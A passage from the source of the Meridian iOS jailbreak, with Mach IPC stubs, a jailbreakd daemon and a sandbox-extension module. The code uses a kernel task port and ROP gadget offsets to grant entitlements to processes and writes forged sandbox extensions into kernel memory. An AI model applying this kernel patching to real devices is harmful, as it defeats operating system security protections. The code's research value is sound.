__BeforeRcvSimple(_NUM_, _NAME_) #endif /* __BeforeRcvSimple */ #ifndef __AfterRcvSimple #define __AfterRcvSimple(_NUM_, _NAME_) #endif /* __AfterRcvSimple */ #define novalue void #define msgh_request_port msgh_local_port #define MACH_MSGH_BITS_REQUEST(bits) MACH_MSGH_BITS_LOCAL(bits) #define msgh_reply_port msgh_remote_port #define MACH_MSGH_BITS_REPLY(bits) MACH_MSGH_BITS_REMOTE(bits) #define MIG_RETURN_ERROR(X, code) {\ ((mig_reply_error_t *)X)->RetCode = code;\ ((mig_reply_error_t *)X)->NDR = NDR_record;\ return;\ } /* Forward Declarations */ mig_internal novalue _Xcall (mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP); #if ( __MigTypeCheck ) #if __MIG_check__Request__jailbreak_daemon_subsystem__ #if !defined(__MIG_check__Request__call_t__defined) #define __MIG_check__Request__call_t__defined mig_internal kern_return_t __MIG_check__Request__call_t(__attribute__((__unused__)) __Request__call_t *In0P) { typedef __Request__call_t __Request; #if __MigTypeCheck if ((In0P->Head.msgh_bits & MACH_MSGH_BITS_COMPLEX) || (In0P->Head.msgh_size != (mach_msg_size_t)sizeof(__Request))) return MIG_BAD_ARGUMENTS; #endif /* __MigTypeCheck */ return MACH_MSG_SUCCESS; } #endif /* !defined(__MIG_check__Request__call_t__defined) */ #endif /* __MIG_check__Request__jailbreak_daemon_subsystem__ */ #endif /* ( __MigTypeCheck ) */ /* Routine call */ mig_internal novalue _Xcall (mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP) { #ifdef __MigPackStructs #pragma pack(4) #endif typedef struct { mach_msg_header_t Head; NDR_record_t NDR; uint8_t command; char commandPad[3]; uint32_t pid; mach_msg_trailer_t trailer; } Request __attribute__((unused)); #ifdef __MigPackStructs #pragma pack() #endif typedef __Request__call_t __Request; typedef __Reply__call_t Reply __attribute__((unused)); /* * typedef struct { * mach_msg_header_t Head; * NDR_record_t NDR; * kern_return_t RetCode; * } mig_reply_error_t; */ Request *In0P = (Request *) InHeadP; Reply *OutP = (Reply *) OutHeadP; #ifdef __MIG_check__Request__call_t__defined kern_return_t check_result; #endif /* __MIG_check__Request__call_t__defined */ __DeclareRcvRpc(500, "call") __BeforeRcvRpc(500, "call") #if defined(__MIG_check__Request__call_t__defined) check_result = __MIG_check__Request__call_t((__Request *)In0P); if (check_result != MACH_MSG_SUCCESS) { MIG_RETURN_ERROR(OutP, check_result); } #endif /* defined(__MIG_check__Request__call_t__defined) */ OutP->RetCode = jbd_call(In0P->Head.msgh_request_port, In0P->command, In0P->pid); OutP->NDR = NDR_record; __AfterRcvRpc(500, "call") } /* Description of this subsystem, for use in direct RPC */ const struct jbd_jailbreak_daemon_subsystem jbd_jailbreak_daemon_subsystem = { jailbreak_daemon_server_routine, 500, 501, (mach_msg_size_t)sizeof(union __ReplyUnion__jbd_jailbreak_daemon_subsystem), (vm_address_t)0, { { (mig_impl_routine_t) 0, (mig_stub_routine_t) _Xcall, 3, 0, (routine_arg_descriptor_t)0, (mach_msg_size_t)sizeof(__Reply__call_t)}, } }; mig_external boolean_t jailbreak_daemon_server (mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP) { /* * typedef struct { * mach_msg_header_t Head; * NDR_record_t NDR; * kern_return_t RetCode; * } mig_reply_error_t; */ register mig_routine_t routine; OutHeadP->msgh_bits = MACH_MSGH_BITS(MACH_MSGH_BITS_REPLY(InHeadP->msgh_bits), 0); OutHeadP->msgh_remote_port = InHeadP->msgh_reply_port; /* Minimal size: routine() will update it if different */ OutHeadP->msgh_size = (mach_msg_size_t)sizeof(mig_reply_error_t); OutHeadP->msgh_local_port = MACH_PORT_NULL; OutHeadP->msgh_id = InHeadP->msgh_id + 100; OutHeadP->msgh_reserved = 0; if ((InHeadP->msgh_id > 500) || (InHeadP->msgh_id < 500) || ((routine = jbd_jailbreak_daemon_subsystem.routine[InHeadP->msgh_id - 500].stub_routine) == 0)) { ((mig_reply_error_t *)OutHeadP)->NDR = NDR_record; ((mig_reply_error_t *)OutHeadP)->RetCode = MIG_BAD_ID; return FALSE; } (*routine) (InHeadP, OutHeadP); return TRUE; } mig_external mig_routine_t jailbreak_daemon_server_routine (mach_msg_header_t *InHeadP) { register int msgh_id; msgh_id = InHeadP->msgh_id - 500; if ((msgh_id > 0) || (msgh_id < 0)) return 0; return jbd_jailbreak_daemon_subsystem.routine[msgh_id].stub_routine; } ================================================ FILE: Meridian/jailbreakd/mach/jailbreak_daemonServer.h ================================================ #ifndef _jailbreak_daemon_server_ #define _jailbreak_daemon_server_ /* Module jailbreak_daemon */ #include #include #include #include #include #include #include #include #include /* BEGIN VOUCHER CODE */ #ifndef KERNEL #if defined(__has_include) #if __has_include() #ifndef USING_VOUCHERS #define USING_VOUCHERS #endif #ifndef __VOUCHER_FORWARD_TYPE_DECLS__ #define __VOUCHER_FORWARD_TYPE_DECLS__ #ifdef __cplusplus extern "C" { #endif extern boolean_t voucher_mach_msg_set(mach_msg_header_t *msg) __attribute__((weak_import)); #ifdef __cplusplus } #endif #endif // __VOUCHER_FORWARD_TYPE_DECLS__ #endif // __has_include() #endif // __has_include #endif // !KERNEL /* END VOUCHER CODE */ /* BEGIN MIG_STRNCPY_ZEROFILL CODE */ #if defined(__has_include) #if __has_include() #ifndef USING_MIG_STRNCPY_ZEROFILL #define USING_MIG_STRNCPY_ZEROFILL #endif #ifndef __MIG_STRNCPY_ZEROFILL_FORWARD_TYPE_DECLS__ #define __MIG_STRNCPY_ZEROFILL_FORWARD_TYPE_DECLS__ #ifdef __cplusplus extern "C" { #endif extern int mig_strncpy_zerofill(char *dest, const char *src, int len) __attribute__((weak_import)); #ifdef __cplusplus } #endif #endif /* __MIG_STRNCPY_ZEROFILL_FORWARD_TYPE_DECLS__ */ #endif /* __has_include() */ #endif /* __has_include */ /* END MIG_STRNCPY_ZEROFILL CODE */ #ifdef AUTOTEST #ifndef FUNCTION_PTR_T #define FUNCTION_PTR_T typedef void (*function_ptr_t)(mach_port_t, char *, mach_msg_type_number_t); typedef struct { char *name; function_ptr_t function; } function_table_entry; typedef function_table_entry *function_table_t; #endif /* FUNCTION_PTR_T */ #endif /* AUTOTEST */ #ifndef jailbreak_daemon_MSG_COUNT #define jailbreak_daemon_MSG_COUNT 1 #endif /* jailbreak_daemon_MSG_COUNT */ #include #include #include #include #ifdef __BeforeMigServerHeader __BeforeMigServerHeader #endif /* __BeforeMigServerHeader */ /* Routine call */ #ifdef mig_external mig_external #else extern #endif /* mig_external */ kern_return_t jbd_call ( mach_port_t server_port, uint8_t command, uint32_t pid ); #ifdef mig_external mig_external #else extern #endif /* mig_external */ boolean_t jailbreak_daemon_server( mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP); #ifdef mig_external mig_external #else extern #endif /* mig_external */ mig_routine_t jailbreak_daemon_server_routine( mach_msg_header_t *InHeadP); /* Description of this subsystem, for use in direct RPC */ extern const struct jbd_jailbreak_daemon_subsystem { mig_server_routine_t server; /* Server routine */ mach_msg_id_t start; /* Min routine number */ mach_msg_id_t end; /* Max routine number + 1 */ unsigned int maxsize; /* Max msg size */ vm_address_t reserved; /* Reserved */ struct routine_descriptor /*Array of routine descriptors */ routine[1]; } jbd_jailbreak_daemon_subsystem; /* typedefs for all requests */ #ifndef __Request__jailbreak_daemon_subsystem__defined #define __Request__jailbreak_daemon_subsystem__defined #ifdef __MigPackStructs #pragma pack(4) #endif typedef struct { mach_msg_header_t Head; NDR_record_t NDR; uint8_t command; char commandPad[3]; uint32_t pid; } __Request__call_t __attribute__((unused)); #ifdef __MigPackStructs #pragma pack() #endif #endif /* !__Request__jailbreak_daemon_subsystem__defined */ /* union of all requests */ #ifndef __RequestUnion__jbd_jailbreak_daemon_subsystem__defined #define __RequestUnion__jbd_jailbreak_daemon_subsystem__defined union __RequestUnion__jbd_jailbreak_daemon_subsystem { __Request__call_t Request_call; }; #endif /* __RequestUnion__jbd_jailbreak_daemon_subsystem__defined */ /* typedefs for all replies */ #ifndef __Reply__jailbreak_daemon_subsystem__defined #define __Reply__jailbreak_daemon_subsystem__defined #ifdef __MigPackStructs #pragma pack(4) #endif typedef struct { mach_msg_header_t Head; NDR_record_t NDR; kern_return_t RetCode; } __Reply__call_t __attribute__((unused)); #ifdef __MigPackStructs #pragma pack() #endif #endif /* !__Reply__jailbreak_daemon_subsystem__defined */ /* union of all replies */ #ifndef __ReplyUnion__jbd_jailbreak_daemon_subsystem__defined #define __ReplyUnion__jbd_jailbreak_daemon_subsystem__defined union __ReplyUnion__jbd_jailbreak_daemon_subsystem { __Reply__call_t Reply_call; }; #endif /* __RequestUnion__jbd_jailbreak_daemon_subsystem__defined */ #ifndef subsystem_to_name_map_jailbreak_daemon #define subsystem_to_name_map_jailbreak_daemon \ { "call", 500 } #endif #ifdef __AfterMigServerHeader __AfterMigServerHeader #endif /* __AfterMigServerHeader */ #endif /* _jailbreak_daemon_server_ */ ================================================ FILE: Meridian/jailbreakd/mach/mig.defs ================================================ // mig -sheader jailbreak_daemonServer.h -header jailbreak_daemonUser.h mig.defs subsystem jailbreak_daemon 500; userprefix jbd_; serverprefix jbd_; WaitTime 2500; #include #include routine call(server_port : mach_port_t; in command : uint8_t; in pid : uint32_t); ================================================ FILE: Meridian/jailbreakd/main.m ================================================ #import #include #include #include #include #include #include "common.h" #include "jailbreak_daemonServer.h" #include "kern_utils.h" #include "kexecute.h" #include "kmem.h" #define PROC_PIDPATHINFO_MAXSIZE (4 * MAXPATHLEN) int proc_pidpath(pid_t pid, void *buffer, uint32_t buffersize); #define JAILBREAKD_COMMAND_ENTITLE 1 #define JAILBREAKD_COMMAND_ENTITLE_AND_SIGCONT 2 #define JAILBREAKD_COMMAND_ENTITLE_AND_SIGCONT_FROM_XPCPROXY 3 #define JAILBREAKD_COMMAND_FIXUP_SETUID 4 typedef boolean_t (*dispatch_mig_callback_t)(mach_msg_header_t *message, mach_msg_header_t *reply); mach_msg_return_t dispatch_mig_server(dispatch_source_t ds, size_t maxmsgsz, dispatch_mig_callback_t callback); kern_return_t bootstrap_check_in(mach_port_t bootstrap_port, const char *service, mach_port_t *server_port); dispatch_queue_t queue = NULL; int is_valid_command(uint8_t command) { return (command == JAILBREAKD_COMMAND_ENTITLE || command == JAILBREAKD_COMMAND_ENTITLE_AND_SIGCONT || command == JAILBREAKD_COMMAND_ENTITLE_AND_SIGCONT_FROM_XPCPROXY || command == JAILBREAKD_COMMAND_FIXUP_SETUID); } int handle_command(uint8_t command, uint32_t pid) { if (!is_valid_command(command)) { DEBUGLOG(true, "Invalid command recieved."); return 1; } if (command == JAILBREAKD_COMMAND_ENTITLE) { DEBUGLOG(true, "JAILBREAKD_COMMAND_ENTITLE PID: %d", pid); platformize(pid); } if (command == JAILBREAKD_COMMAND_ENTITLE_AND_SIGCONT) { DEBUGLOG(true, "JAILBREAKD_COMMAND_ENTITLE_AND_SIGCONT PID: %d", pid); platformize(pid); kill(pid, SIGCONT); } if (command == JAILBREAKD_COMMAND_ENTITLE_AND_SIGCONT_FROM_XPCPROXY) { DEBUGLOG(true, "JAILBREAKD_COMMAND_ENTITLE_AND_SIGCONT_FROM_XPCPROXY PID: %d", pid); dispatch_async(queue, ^{ char pathbuf[PROC_PIDPATHINFO_MAXSIZE]; bzero(pathbuf, PROC_PIDPATHINFO_MAXSIZE); int err = 0, tries = 0; do { err = proc_pidpath(pid, pathbuf, PROC_PIDPATHINFO_MAXSIZE); if (err <= 0) { DEBUGLOG(true, "failed to get pidpath for %d", pid); kill(pid, SIGCONT); // just in case return; } tries++; // gives (1,000 * 1,000 microseconds) 1 seconds of total wait time if (tries >= 1000) { DEBUGLOG(true, "failed to get pidpath for %d (%d tries)", pid, tries); kill(pid, SIGCONT); // just in case return; } usleep(1000); } while (strcmp(pathbuf, "/usr/libexec/xpcproxy") == 0); DEBUGLOG(true, "xpcproxy has morphed to: %s", pathbuf); platformize(pid); kill(pid, SIGCONT); }); } if (command == JAILBREAKD_COMMAND_FIXUP_SETUID) { DEBUGLOG(true, "JAILBREAKD_FIXUP_SETUID PID: %d (ignored)", pid); } return 0; } kern_return_t jbd_call(mach_port_t server_port, uint8_t command, uint32_t pid) { DEBUGLOG(false, "jbd_call: %x, %x, %d", server_port, command, pid); return (handle_command(command, pid) == 0) ? KERN_SUCCESS : KERN_FAILURE; } int main(int argc, char **argv, char **envp) { kern_return_t err; DEBUGLOG(true, "the fun and games shall begin! (applying lube...)"); unlink("/var/tmp/jailbreakd.pid"); // Parse offsets from env var's kernel_base = strtoull(getenv("KernelBase"), NULL, 16); kernel_slide = kernel_base - 0xFFFFFFF007004000; DEBUGLOG(true, "kern base: %llx, slide: %llx", kernel_base, kernel_slide); kernprocaddr = strtoull(getenv("KernProcAddr"), NULL, 16); offset_zonemap = strtoull(getenv("ZoneMapOffset"), NULL, 16); offset_add_ret_gadget = strtoull(getenv("AddRetGadget"), NULL, 16); offset_osboolean_true = strtoull(getenv("OSBooleanTrue"), NULL, 16); offset_osboolean_false = strtoull(getenv("OSBooleanFalse"), NULL, 16); offset_osunserializexml = strtoull(getenv("OSUnserializeXML"), NULL, 16); offset_smalloc = strtoull(getenv("Smalloc"), NULL, 16); // tfp0, patchfinder, kexecute err = host_get_special_port(mach_host_self(), HOST_LOCAL_NODE, 4, &tfp0); if (err != KERN_SUCCESS) { DEBUGLOG(true, "host_get_special_port 4: %s", mach_error_string(err)); return -1; } DEBUGLOG(true, "tfp0: %x", tfp0); init_kexecute(); queue = dispatch_queue_create("jailbreakd.queue", NULL); // Set up mach stuff mach_port_t server_port; if ((err = bootstrap_check_in(bootstrap_port, "zone.sparkes.jailbreakd", &server_port))) { DEBUGLOG(true, "Failed to check in: %s", mach_error_string(err)); return -1; } dispatch_source_t server = dispatch_source_create(DISPATCH_SOURCE_TYPE_MACH_RECV, server_port, 0, dispatch_get_main_queue()); dispatch_source_set_event_handler(server, ^{ dispatch_mig_server(server, jbd_jailbreak_daemon_subsystem.maxsize, jailbreak_daemon_server); }); dispatch_resume(server); // Now ready for connections! DEBUGLOG(true, "mach server now running!"); FILE *fd = fopen("/var/tmp/jailbreakd.pid", "w"); fprintf(fd, "%d\n", getpid()); fclose(fd); // Start accepting connections // This will block exec dispatch_main(); return 0; } ================================================ FILE: Meridian/jailbreakd/sandbox.h ================================================ // see https://stek29.rocks/2018/01/26/sandbox.html void extension_add(uint64_t ext, uint64_t sb, const char* desc); uint64_t extension_create_file(const char* path, uint64_t nextptr); int has_file_extension(uint64_t sb, const char* path); ================================================ FILE: Meridian/jailbreakd/sandbox.m ================================================ #include "kmem.h" #include "kern_utils.h" #include "sandbox.h" #include "kexecute.h" typedef uint64_t extension_hdr_t; typedef uint64_t extension_t; struct extension_hdr { /* 0x00 */ extension_hdr_t next; /* 0x08 */ uint64_t desc; /* 0x10 */ extension_t ext_lst; /* 0x18 */ }; struct extension { /* 0x00 */ extension_t next; /* 0x08 */ uint64_t desc; // always 0xffffffffffffffff /* 0x10 */ uint64_t ext_lst; // zero, since it's extension and not a header /* 0x18 */ uint8_t something[32]; // zeroed from what I've seen /* 0x38 */ uint32_t type; // see ext_type enum /* 0x3c */ uint32_t subtype; // either 0 or 4 (or whatever unhex gave?..) /* 0x40 */ uint64_t data; // a c string, meaning depends on type and hdr which had this extension /* 0x48 */ uint64_t data_len; // strlen(data) /* 0x50 */ uint64_t unk0; // always 0 /* 0x58 */ uint64_t unk1; // always 0xdeadbeefdeadbeef /* 0x60 */ }; uint64_t _smalloc(uint64_t size) { return kexecute(offset_smalloc, size, 0, 0, 0, 0, 0, 0); } uint64_t smalloc(uint64_t size) { uint64_t ret = _smalloc(size); if (ret != 0) { // IOAlloc's of small size go to zalloc ret = zm_fix_addr(ret); } return ret; } uint64_t sstrdup(const char* s) { size_t slen = strlen(s) + 1; uint64_t ks = smalloc(slen); if (ks) { kwrite(ks, s, slen); } return ks; } // Notice: path should *not* end with '/' ! uint64_t extension_create_file(const char* path, uint64_t nextptr) { size_t slen = strlen(path); if (path[slen - 1] == '/') { fprintf(stderr, "No traling slash in path pls \n"); return 0; } uint64_t ext_p = smalloc(sizeof(struct extension)); uint64_t ks = sstrdup(path); if (ext_p && ks) { struct extension ext; bzero(&ext, sizeof(ext)); ext.next = nextptr; ext.desc = 0xffffffffffffffff; ext.data = ks; ext.data_len = slen; kwrite(ext_p, &ext, sizeof(ext)); } else { // XXX oh no a leak } return ext_p; } // get 64 higher bits of 64bit int multiplication // https://stackoverflow.com/a/28904636 // ofc in asm it's done with 1 instruction huh // XXX there has to be a cleaner way utilizing hardware support uint64_t mulhi(uint64_t a, uint64_t b) { uint64_t a_lo = (uint32_t)a; uint64_t a_hi = a >> 32; uint64_t b_lo = (uint32_t)b; uint64_t b_hi = b >> 32; uint64_t a_x_b_hi = a_hi * b_hi; uint64_t a_x_b_mid = a_hi * b_lo; uint64_t b_x_a_mid = b_hi * a_lo; uint64_t a_x_b_lo = a_lo * b_lo; uint64_t carry_bit = ((uint64_t)(uint32_t)a_x_b_mid + (uint64_t)(uint32_t)b_x_a_mid + (a_x_b_lo >> 32) ) >> 32; uint64_t multhi = a_x_b_hi + (a_x_b_mid >> 32) + (b_x_a_mid >> 32) + carry_bit; return multhi; } int hashing_magic(const char *desc) { // inlined into exception_add uint64_t hashed = 0x1505; // if desc == NULL, then returned value would be 8 // APPL optimizes it for some reason // but meh, desc should never be NULL or you get // null dereference in exception_add // if (desc == NULL) return 8; if (desc != NULL) { for (const char* dp = desc; *dp != '\0'; ++dp) { hashed += hashed << 5; hashed += (int64_t) *dp; } } uint64_t magic = 0xe38e38e38e38e38f; uint64_t hi = mulhi(hashed, magic); hi >>= 3; hi = (hi<<3) + hi; hashed -= hi; return hashed; } static const char *ent_key = "com.apple.security.exception.files.absolute-path.read-only"; uint64_t make_ext_hdr(const char* key, uint64_t ext_lst) { struct extension_hdr hdr; uint64_t khdr = smalloc(sizeof(hdr)); if (khdr) { // we add headers to end hdr.next = 0; hdr.desc = sstrdup(key); if (hdr.desc == 0) { // XXX leak return 0; } hdr.ext_lst = ext_lst; kwrite(khdr, &hdr, sizeof(hdr)); } return khdr; } void extension_add(uint64_t ext, uint64_t sb, const char* desc) { // XXX patchfinder + kexecute would be way better int slot = hashing_magic(ent_key); uint64_t insert_at_p = sb + sizeof(void*) + slot * sizeof(void*); uint64_t insert_at = rk64(insert_at_p); while (insert_at != 0) { uint64_t kdsc = rk64(insert_at + offsetof(struct extension_hdr, desc)); if (kstrcmp(kdsc, desc) == 0) { break; } insert_at_p = insert_at; insert_at = rk64(insert_at); } if (insert_at == 0) { insert_at = make_ext_hdr(ent_key, ext); wk64(insert_at_p, insert_at); } else { // XXX no duplicate check uint64_t ext_lst_p = insert_at + offsetof(struct extension_hdr, ext_lst); uint64_t ext_lst = rk64(ext_lst_p); while (ext_lst != 0) { fprintf(stderr, "ext_lst_p = 0x%llx ext_lst = 0x%llx\n", ext_lst_p, ext_lst); ext_lst_p = ext_lst + offsetof(struct extension, next); ext_lst = rk64(ext_lst_p); } fprintf(stderr, "ext_lst_p = 0x%llx ext_lst = 0x%llx\n", ext_lst_p, ext_lst); wk64(ext_lst_p, ext); } } // 1 if yes int has_file_extension(uint64_t sb, const char* path) { const char* desc = ent_key; int found = 0; int slot = hashing_magic(ent_key); uint64_t insert_at_p = sb + sizeof(void*) + slot * sizeof(void*); uint64_t insert_at = rk64(insert_at_p); while (insert_at != 0) { uint64_t kdsc = rk64(insert_at + offsetof(struct extension_hdr, desc)); if (kstrcmp(kdsc, desc) == 0) { break; } insert_at_p = insert_at; insert_at = rk64(insert_at); } if (insert_at != 0) { uint64_t ext_lst = rk64(insert_at + offsetof(struct extension_hdr, ext_lst)); uint64_t plen = strlen(path); char *exist = malloc(plen + 1); exist[plen] = '\0'; while (ext_lst != 0) { // XXX no type/subtype check uint64_t data_len = rk64(ext_lst + offsetof(struct extension, data_len)); if (data_len == plen) { uint64_t data = rk64(ext_lst + offsetof(struct extension, data)); kread(data, exist, plen); if (strcmp(path, exist) == 0) { found = 1; break; } } ext_lst = rk64(ext_lst); } free(exist); } return found; } ================================================ FILE: Meridian/pspawn_hook/Makefile ================================================ TARGET = pspawn_hook.dylib OUTDIR ?= bin SRC = $(wildcard *.c) $(wildcard *.m) $(wildcard mach/*.c) CC = xcrun -sdk iphoneos gcc -arch arm64 -arch armv7 -arch armv7s LDID = ldid CFLAGS = -dynamiclib -I./mach -framework Foundation all: $(OUTDIR)/$(TARGET) $(OUTDIR): mkdir -p $(OUTDIR) $(OUTDIR)/$(TARGET): $(SRC) | $(OUTDIR) $(CC) $(CFLAGS) -o $@ $^ $(LDID) -S $@ install: all clean: rm -rf $(OUTDIR) ================================================ FILE: Meridian/pspawn_hook/mach/jailbreak_daemonUser.c ================================================ /* * IDENTIFICATION: * stub generated Fri Sep 21 22:56:39 2018 * with a MiG generated by bootstrap_cmds-96.20.2 * OPTIONS: */ #define __MIG_check__Reply__jailbreak_daemon_subsystem__ 1 #include "jailbreak_daemonUser.h" #ifndef mig_internal #define mig_internal static __inline__ #endif /* mig_internal */ #ifndef mig_external #define mig_external #endif /* mig_external */ #if !defined(__MigTypeCheck) && defined(TypeCheck) #define __MigTypeCheck TypeCheck /* Legacy setting */ #endif /* !defined(__MigTypeCheck) */ #if !defined(__MigKernelSpecificCode) && defined(_MIG_KERNEL_SPECIFIC_CODE_) #define __MigKernelSpecificCode _MIG_KERNEL_SPECIFIC_CODE_ /* Legacy setting */ #endif /* !defined(__MigKernelSpecificCode) */ #ifndef LimitCheck #define LimitCheck 0 #endif /* LimitCheck */ #ifndef min #define min(a,b) ( ((a) < (b))? (a): (b) ) #endif /* min */ #if !defined(_WALIGN_) #define _WALIGN_(x) (((x) + 3) & ~3) #endif /* !defined(_WALIGN_) */ #if !defined(_WALIGNSZ_) #define _WALIGNSZ_(x) _WALIGN_(sizeof(x)) #endif /* !defined(_WALIGNSZ_) */ #ifndef UseStaticTemplates #define UseStaticTemplates 0 #endif /* UseStaticTemplates */ #ifndef __MachMsgErrorWithTimeout #define __MachMsgErrorWithTimeout(_R_) { \ switch (_R_) { \ case MACH_SEND_INVALID_DATA: \ case MACH_SEND_INVALID_DEST: \ case MACH_SEND_INVALID_HEADER: \ mig_put_reply_port(InP->Head.msgh_reply_port); \ break; \ case MACH_SEND_TIMED_OUT: \ case MACH_RCV_TIMED_OUT: \ default: \ mig_dealloc_reply_port(InP->Head.msgh_reply_port); \ } \ } #endif /* __MachMsgErrorWithTimeout */ #ifndef __MachMsgErrorWithoutTimeout #define __MachMsgErrorWithoutTimeout(_R_) { \ switch (_R_) { \ case MACH_SEND_INVALID_DATA: \ case MACH_SEND_INVALID_DEST: \ case MACH_SEND_INVALID_HEADER: \ mig_put_reply_port(InP->Head.msgh_reply_port); \ break; \ default: \ mig_dealloc_reply_port(InP->Head.msgh_reply_port); \ } \ } #endif /* __MachMsgErrorWithoutTimeout */ #ifndef __DeclareSendRpc #define __DeclareSendRpc(_NUM_, _NAME_) #endif /* __DeclareSendRpc */ #ifndef __BeforeSendRpc #define __BeforeSendRpc(_NUM_, _NAME_) #endif /* __BeforeSendRpc */ #ifndef __AfterSendRpc #define __AfterSendRpc(_NUM_, _NAME_) #endif /* __AfterSendRpc */ #ifndef __DeclareSendSimple #define __DeclareSendSimple(_NUM_, _NAME_) #endif /* __DeclareSendSimple */ #ifndef __BeforeSendSimple #define __BeforeSendSimple(_NUM_, _NAME_) #endif /* __BeforeSendSimple */ #ifndef __AfterSendSimple #define __AfterSendSimple(_NUM_, _NAME_) #endif /* __AfterSendSimple */ #define msgh_request_port msgh_remote_port #define msgh_reply_port msgh_local_port #if ( __MigTypeCheck ) #if __MIG_check__Reply__jailbreak_daemon_subsystem__ #if !defined(__MIG_check__Reply__call_t__defined) #define __MIG_check__Reply__call_t__defined mig_internal kern_return_t __MIG_check__Reply__call_t(__Reply__call_t *Out0P) { typedef __Reply__call_t __Reply __attribute__((unused)); if (Out0P->Head.msgh_id != 600) { if (Out0P->Head.msgh_id == MACH_NOTIFY_SEND_ONCE) { return MIG_SERVER_DIED; } else { return MIG_REPLY_MISMATCH; } } #if __MigTypeCheck if ((Out0P->Head.msgh_bits & MACH_MSGH_BITS_COMPLEX) || (Out0P->Head.msgh_size != (mach_msg_size_t)sizeof(__Reply))) { return MIG_TYPE_ERROR ; } #endif /* __MigTypeCheck */ { return Out0P->RetCode; } } #endif /* !defined(__MIG_check__Reply__call_t__defined) */ #endif /* __MIG_check__Reply__jailbreak_daemon_subsystem__ */ #endif /* ( __MigTypeCheck ) */ /* Routine call */ mig_external kern_return_t jbd_call ( mach_port_t server_port, uint8_t command, uint32_t pid ) { #ifdef __MigPackStructs #pragma pack(4) #endif typedef struct { mach_msg_header_t Head; NDR_record_t NDR; uint8_t command; char commandPad[3]; uint32_t pid; } Request __attribute__((unused)); #ifdef __MigPackStructs #pragma pack() #endif #ifdef __MigPackStructs #pragma pack(4) #endif typedef struct { mach_msg_header_t Head; NDR_record_t NDR; kern_return_t RetCode; mach_msg_trailer_t trailer; } Reply __attribute__((unused)); #ifdef __MigPackStructs #pragma pack() #endif #ifdef __MigPackStructs #pragma pack(4) #endif typedef struct { mach_msg_header_t Head; NDR_record_t NDR; kern_return_t RetCode; } __Reply __attribute__((unused)); #ifdef __MigPackStructs #pragma pack() #endif /* * typedef struct { * mach_msg_header_t Head; * NDR_record_t NDR; * kern_return_t RetCode; * } mig_reply_error_t; */ union { Request In; Reply Out; } Mess; Request *InP = &Mess.In; Reply *Out0P = &Mess.Out; mach_msg_return_t msg_result; #ifdef __MIG_check__Reply__call_t__defined kern_return_t check_result; #endif /* __MIG_check__Reply__call_t__defined */ __DeclareSendRpc(500, "call") InP->NDR = NDR_record; InP->command = command; InP->pid = pid; InP->Head.msgh_bits = MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE); /* msgh_size passed as argument */ InP->Head.msgh_request_port = server_port; InP->Head.msgh_reply_port = mig_get_reply_port(); InP->Head.msgh_id = 500; InP->Head.msgh_reserved = 0; /* BEGIN VOUCHER CODE */ #ifdef USING_VOUCHERS if (voucher_mach_msg_set != NULL) { voucher_mach_msg_set(&InP->Head); } #endif // USING_VOUCHERS /* END VOUCHER CODE */ __BeforeSendRpc(500, "call") msg_result = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_SEND_TIMEOUT|MACH_RCV_TIMEOUT|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request), (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_reply_port, 2500, MACH_PORT_NULL); __AfterSendRpc(500, "call") if (msg_result == MACH_SEND_TIMED_OUT) { } if (msg_result != MACH_MSG_SUCCESS) { __MachMsgErrorWithTimeout(msg_result); { return msg_result; } } #if defined(__MIG_check__Reply__call_t__defined) check_result = __MIG_check__Reply__call_t((__Reply__call_t *)Out0P); if (check_result != MACH_MSG_SUCCESS) { return check_result; } #endif /* defined(__MIG_check__Reply__call_t__defined) */ return KERN_SUCCESS; } ================================================ FILE: Meridian/pspawn_hook/mach/jailbreak_daemonUser.h ================================================ #ifndef _jailbreak_daemon_user_ #define _jailbreak_daemon_user_ /* Module jailbreak_daemon */ #include #include #include #include #include #include #include #include #include /* BEGIN VOUCHER CODE */ #ifndef KERNEL #if defined(__has_include) #if __has_include() #ifndef USING_VOUCHERS #define USING_VOUCHERS #endif #ifndef __VOUCHER_FORWARD_TYPE_DECLS__ #define __VOUCHER_FORWARD_TYPE_DECLS__ #ifdef __cplusplus extern "C" { #endif extern boolean_t voucher_mach_msg_set(mach_msg_header_t *msg) __attribute__((weak_import)); #ifdef __cplusplus } #endif #endif // __VOUCHER_FORWARD_TYPE_DECLS__ #endif // __has_include() #endif // __has_include #endif // !KERNEL /* END VOUCHER CODE */ /* BEGIN MIG_STRNCPY_ZEROFILL CODE */ #if defined(__has_include) #if __has_include() #ifndef USING_MIG_STRNCPY_ZEROFILL #define USING_MIG_STRNCPY_ZEROFILL #endif #ifndef __MIG_STRNCPY_ZEROFILL_FORWARD_TYPE_DECLS__ #define __MIG_STRNCPY_ZEROFILL_FORWARD_TYPE_DECLS__ #ifdef __cplusplus extern "C" { #endif extern int mig_strncpy_zerofill(char *dest, const char *src, int len) __attribute__((weak_import)); #ifdef __cplusplus } #endif #endif /* __MIG_STRNCPY_ZEROFILL_FORWARD_TYPE_DECLS__ */ #endif /* __has_include() */ #endif /* __has_include */ /* END MIG_STRNCPY_ZEROFILL CODE */ #ifdef AUTOTEST #ifndef FUNCTION_PTR_T #define FUNCTION_PTR_T typedef void (*function_ptr_t)(mach_port_t, char *, mach_msg_type_number_t); typedef struct { char *name; function_ptr_t function; } function_table_entry; typedef function_table_entry *function_table_t; #endif /* FUNCTION_PTR_T */ #endif /* AUTOTEST */ #ifndef jailbreak_daemon_MSG_COUNT #define jailbreak_daemon_MSG_COUNT 1 #endif /* jailbreak_daemon_MSG_COUNT */ #include #include #include #include #ifdef __BeforeMigUserHeader __BeforeMigUserHeader #endif /* __BeforeMigUserHeader */ #include __BEGIN_DECLS /* Routine call */ #ifdef mig_external mig_external #else extern #endif /* mig_external */ kern_return_t jbd_call ( mach_port_t server_port, uint8_t command, uint32_t pid ); __END_DECLS /********************** Caution **************************/ /* The following data types should be used to calculate */ /* maximum message sizes only. The actual message may be */ /* smaller, and the position of the arguments within the */ /* message layout may vary from what is presented here. */ /* For example, if any of the arguments are variable- */ /* sized, and less than the maximum is sent, the data */ /* will be packed tight in the actual message to reduce */ /* the presence of holes. */ /********************** Caution **************************/ /* typedefs for all requests */ #ifndef __Request__jailbreak_daemon_subsystem__defined #define 